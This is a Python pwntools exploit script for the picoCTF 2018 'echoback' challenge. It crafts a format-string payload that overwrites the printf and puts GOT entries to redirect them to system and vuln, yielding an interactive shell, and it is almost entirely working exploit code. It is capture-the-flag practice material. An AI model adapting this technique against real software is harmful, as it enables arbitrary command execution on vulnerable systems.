#!/usr/bin/python2
from pwn import *

elf = ELF('../echoback')
vuln       = elf.symbols['vuln']
system     = elf.symbols['system']
printf_got = elf.got['printf']
puts_got   = elf.got['puts']

def getProcess():
    is_remote = False
    if is_remote:
        return remote('2018shell1.picoctf.com', 37402)
    else:
        return process('../echoback')
        
p = getProcess()
p.recvline()

# change puts to the vuln function so we can have loop of commands.
# change printf to the system function so every command will be executed via shell.

payload  = p32(printf_got+2)
payload += p32(printf_got)
payload += p32(puts_got)
# chnage puts_got to system:
# write system address 2 high bytes to printf_got 2 high bytes
payload +='%{}x'.format((system >> 16) - 0xc) 
payload +='%7$hn'
# write system address 2 low bytes to printf_got 2 low bytes
payload +='%{}x'.format((system & 0xffff) - (system >> 16)) 
payload += '%8$hn' 
# chnage puts_got to vuln
# write system address 2 low bytes to printf_got 2 low bytes
payload += '%{}x'.format((vuln & 0xffff) - (system & 0xffff))
payload +='%9$hn'

# Note: Every %n writes the number of the printed chars so far to the address on the stack
#   So we need to subtract the number of printed chars from the wanted value to write.
#   I also sorted the addresses so things will be easier.

p.sendline(payload)

p.recvuntil('input your message:')
p.interactive()

